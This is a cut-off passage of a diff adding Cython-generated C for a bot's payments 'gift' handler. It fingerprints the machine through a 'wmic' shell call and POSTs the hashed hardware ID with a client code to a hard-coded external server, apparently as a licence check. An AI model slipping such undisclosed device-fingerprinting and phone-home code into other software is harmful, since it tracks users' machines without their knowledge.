185, __pyx_L3_error) } + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_v_result, __pyx_n_s_encode); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 185, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_10 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_11))) { + __pyx_t_10 = PyMethod_GET_SELF(__pyx_t_11); + if (likely(__pyx_t_10)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_11); + __Pyx_INCREF(__pyx_t_10); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_11, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_10, NULL}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 185, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + } + __pyx_t_11 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_9}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 185, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_hexdigest); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 185, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = NULL; + __pyx_t_7 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_7 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, NULL}; + __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 185, __pyx_L3_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __pyx_v_hardware_id = __pyx_t_4; + __pyx_t_4 = 0; + + /* "handlers/payments/gift.py":186 + * + * hardware_id = hashlib.sha256(result.encode()).hexdigest() + * return hardware_id # <<<<<<<<<<<<<< + * except Exception: + * return None + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_INCREF(__pyx_v_hardware_id); + __pyx_r = __pyx_v_hardware_id; + goto __pyx_L7_try_return; + + /* "handlers/payments/gift.py":178 + * hardware-. + * """ + * try: # <<<<<<<<<<<<<< + * if platform.system() == "Windows": + * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() + */ + } + __pyx_L3_error:; + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/gift.py":187 + * hardware_id = hashlib.sha256(result.encode()).hexdigest() + * return hardware_id + * except Exception: # <<<<<<<<<<<<<< + * return None + * + */ + __pyx_t_18 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); + if (__pyx_t_18) { + __Pyx_AddTraceback("handlers.payments.gift.get_hardware_id", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_4, &__pyx_t_5, &__pyx_t_6) < 0) __PYX_ERR(0, 187, __pyx_L5_except_error) + __Pyx_XGOTREF(__pyx_t_4); + __Pyx_XGOTREF(__pyx_t_5); + __Pyx_XGOTREF(__pyx_t_6); + + /* "handlers/payments/gift.py":188 + * return hardware_id + * except Exception: + * return None # <<<<<<<<<<<<<< + * + * async def validate_client_code(): + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = Py_None; __Pyx_INCREF(Py_None); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + goto __pyx_L6_except_return; + } + goto __pyx_L5_except_error; + + /* "handlers/payments/gift.py":178 + * hardware-. + * """ + * try: # <<<<<<<<<<<<<< + * if platform.system() == "Windows": + * result = subprocess.check_output("wmic cpu get ProcessorId", shell=True).decode().split("\n")[1].strip() + */ + __pyx_L5_except_error:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + goto __pyx_L1_error; + __pyx_L7_try_return:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + goto __pyx_L0; + __pyx_L6_except_return:; + __Pyx_XGIVEREF(__pyx_t_1); + __Pyx_XGIVEREF(__pyx_t_2); + __Pyx_XGIVEREF(__pyx_t_3); + __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); + goto __pyx_L0; + } + + /* "handlers/payments/gift.py":174 + * + * + * def get_hardware_id(): # <<<<<<<<<<<<<< + * """ + * hardware-. + */ + + /* function exit code */ + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); + __Pyx_XDECREF(__pyx_t_9); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_AddTraceback("handlers.payments.gift.get_hardware_id", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __pyx_L0:; + __Pyx_XDECREF(__pyx_v_result); + __Pyx_XDECREF(__pyx_v_f); + __Pyx_XDECREF(__pyx_v_hardware_id); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_4gift_19generator5(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/gift.py":190 + * return None + * + * async def validate_client_code(): # <<<<<<<<<<<<<< + * """ + * hardware ID . + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_4gift_18validate_client_code(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused); /*proto*/ +PyDoc_STRVAR(__pyx_doc_8handlers_8payments_4gift_17validate_client_code, "\n \320\236\321\202\320\277\321\200\320\260\320\262\320\273\321\217\320\265\321\202 \320\272\320\273\320\270\320\265\320\275\321\202\321\201\320\272\320\270\320\271 \320\272\320\276\320\264 \320\270 hardware ID \320\275\320\260 \321\201\320\265\321\200\320\262\320\265\321\200 \320\264\320\273\321\217 \320\277\321\200\320\276\320\262\320\265\321\200\320\272\320\270.\n "); +static PyMethodDef __pyx_mdef_8handlers_8payments_4gift_18validate_client_code = {"validate_client_code", (PyCFunction)__pyx_pw_8handlers_8payments_4gift_18validate_client_code, METH_NOARGS, __pyx_doc_8handlers_8payments_4gift_17validate_client_code}; +static PyObject *__pyx_pw_8handlers_8payments_4gift_18validate_client_code(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused) { + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("validate_client_code (wrapper)", 0); + __pyx_kwvalues = __Pyx_KwValues_VARARGS(__pyx_args, __pyx_nargs); + __pyx_r = __pyx_pf_8handlers_8payments_4gift_17validate_client_code(__pyx_self); + + /* function exit code */ + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_4gift_17validate_client_code(CYTHON_UNUSED PyObject *__pyx_self) { + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("validate_client_code", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code *)__pyx_tp_new_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code(__pyx_ptype_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 190, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_19generator5, __pyx_codeobj__39, (PyObject *) __pyx_cur_scope, __pyx_n_s_validate_client_code, __pyx_n_s_validate_client_code, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 190, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.gift.validate_client_code", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_4gift_19generator5(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_5_validate_client_code *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + int __pyx_t_5; + int __pyx_t_6; + PyObject *__pyx_t_7 = NULL; + PyObject *__pyx_t_8 = NULL; + PyObject *__pyx_t_9 = NULL; + PyObject *__pyx_t_10 = NULL; + PyObject *__pyx_t_11 = NULL; + PyObject *__pyx_t_12 = NULL; + PyObject *__pyx_t_13 = NULL; + PyObject *__pyx_t_14 = NULL; + PyObject *__pyx_t_15 = NULL; + PyObject *__pyx_t_16 = NULL; + PyObject *__pyx_t_17 = NULL; + PyObject *__pyx_t_18 = NULL; + PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_20 = NULL; + PyObject *__pyx_t_21 = NULL; + PyObject *__pyx_t_22 = NULL; + PyObject *__pyx_t_23 = NULL; + int __pyx_t_24; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("validate_client_code", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L12_resume_from_await; + case 2: goto __pyx_L23_resume_from_await; + case 3: goto __pyx_L34_resume_from_await; + case 4: goto __pyx_L39_resume_from_await; + case 5: goto __pyx_L40_resume_from_await; + case 6: goto __pyx_L41_resume_from_await; + case 7: goto __pyx_L46_resume_from_await; + case 8: goto __pyx_L47_resume_from_await; + case 9: goto __pyx_L48_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 190, __pyx_L1_error) + + /* "handlers/payments/gift.py":194 + * hardware ID . + * """ + * hardware_id = get_hardware_id() # <<<<<<<<<<<<<< + * if not hardware_id: + * logger.info(" . ") + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_get_hardware_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 194, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 194, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_hardware_id = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":195 + * """ + * hardware_id = get_hardware_id() + * if not hardware_id: # <<<<<<<<<<<<<< + * logger.info(" . ") + * return False + */ + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_hardware_id); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 195, __pyx_L1_error) + __pyx_t_6 = (!__pyx_t_5); + if (__pyx_t_6) { + + /* "handlers/payments/gift.py":196 + * hardware_id = get_hardware_id() + * if not hardware_id: + * logger.info(" . ") # <<<<<<<<<<<<<< + * return False + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 196, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 196, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u__40}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 196, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/gift.py":197 + * if not hardware_id: + * logger.info(" . ") + * return False # <<<<<<<<<<<<<< + * + * try: + */ + __Pyx_XDECREF(__pyx_r); + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(Py_False); + goto __pyx_L0; + + /* "handlers/payments/gift.py":195 + * """ + * hardware_id = get_hardware_id() + * if not hardware_id: # <<<<<<<<<<<<<< + * logger.info(" . ") + * return False + */ + } + + /* "handlers/payments/gift.py":199 + * return False + * + * try: # <<<<<<<<<<<<<< + * async with aiohttp.ClientSession() as session: + * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} + */ + { + __Pyx_ExceptionSave(&__pyx_t_7, &__pyx_t_8, &__pyx_t_9); + __Pyx_XGOTREF(__pyx_t_7); + __Pyx_XGOTREF(__pyx_t_8); + __Pyx_XGOTREF(__pyx_t_9); + /*try:*/ { + + /* "handlers/payments/gift.py":200 + * + * try: + * async with aiohttp.ClientSession() as session: # <<<<<<<<<<<<<< + * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} + * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: + */ + /*with:*/ { + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_aiohttp); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 200, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_ClientSession); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 200, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 200, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_t_10 = __Pyx_PyObject_LookupSpecial(__pyx_t_1, __pyx_n_s_aexit); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 200, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_10); + __pyx_t_3 = __Pyx_PyObject_LookupSpecial(__pyx_t_1, __pyx_n_s_aenter); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 200, __pyx_L11_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 200, __pyx_L11_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L12_resume_from_await:; + __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_1); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_8); + __pyx_t_9 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_t_9); + __pyx_t_10 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; + __Pyx_XGOTREF(__pyx_t_10); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 200, __pyx_L11_error) + __pyx_t_2 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_2); + } else { + __pyx_t_2 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_2) < 0) __PYX_ERR(0, 200, __pyx_L11_error) + __Pyx_GOTREF(__pyx_t_2); + } + __pyx_t_3 = __pyx_t_2; + __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + /*try:*/ { + { + __Pyx_ExceptionSave(&__pyx_t_12, &__pyx_t_13, &__pyx_t_14); + __Pyx_XGOTREF(__pyx_t_12); + __Pyx_XGOTREF(__pyx_t_13); + __Pyx_XGOTREF(__pyx_t_14); + /*try:*/ { + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_session = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":201 + * try: + * async with aiohttp.ClientSession() as session: + * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} # <<<<<<<<<<<<<< + * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: + * if response.status == 200: + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 201, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_CLIENT_CODE); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 201, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_code_2, __pyx_t_1) < 0) __PYX_ERR(0, 201, __pyx_L16_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_u_hardware_id, __pyx_cur_scope->__pyx_v_hardware_id) < 0) __PYX_ERR(0, 201, __pyx_L16_error) + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_payload = ((PyObject*)__pyx_t_3); + __pyx_t_3 = 0; + + /* "handlers/payments/gift.py":202 + * async with aiohttp.ClientSession() as session: + * payload = {"code": CLIENT_CODE, "hardware_id": hardware_id} + * async with session.post("https://pocomacho.ru/solonetbot/codes/add/", json=payload) as response: # <<<<<<<<<<<<<< + * if response.status == 200: + * data = await response.json() + */ + /*with:*/ { + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_session, __pyx_n_s_post); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 202, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 202, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_json, __pyx_cur_scope->__pyx_v_payload) < 0) __PYX_ERR(0, 202, __pyx_L16_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__41, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 202, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_15 = __Pyx_PyObject_LookupSpecial(__pyx_t_2, __pyx_n_s_aexit); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 202, __pyx_L16_error) + __Pyx_GOTREF(__pyx_t_15); + __pyx_t_3 = __Pyx_PyObject_LookupSpecial(__pyx_t_2, __pyx_n_s_aenter); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 202, __pyx_L22_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 202, __pyx_L22_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_2); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_2; + __Pyx_XGIVEREF(__pyx_t_7); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_7; + __Pyx_XGIVEREF(__pyx_t_8); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_8; + __Pyx_XGIVEREF(__pyx_t_9); + __pyx_cur_scope->__pyx_t_3 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_4 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_t_13); + __pyx_cur_scope->__pyx_t_6 = __pyx_t_13; + __Pyx_XGIVEREF(__pyx_t_14); + __pyx_cur_scope->__pyx_t_7 = __pyx_t_14; + __Pyx_XGIVEREF(__pyx_t_15); + __pyx_cur_scope->__pyx_t_8 = __pyx_t_15; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L23_resume_from_await:; + __pyx_t_2 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_2); + __pyx_t_7 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_7); + __pyx_t_8 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_8); + 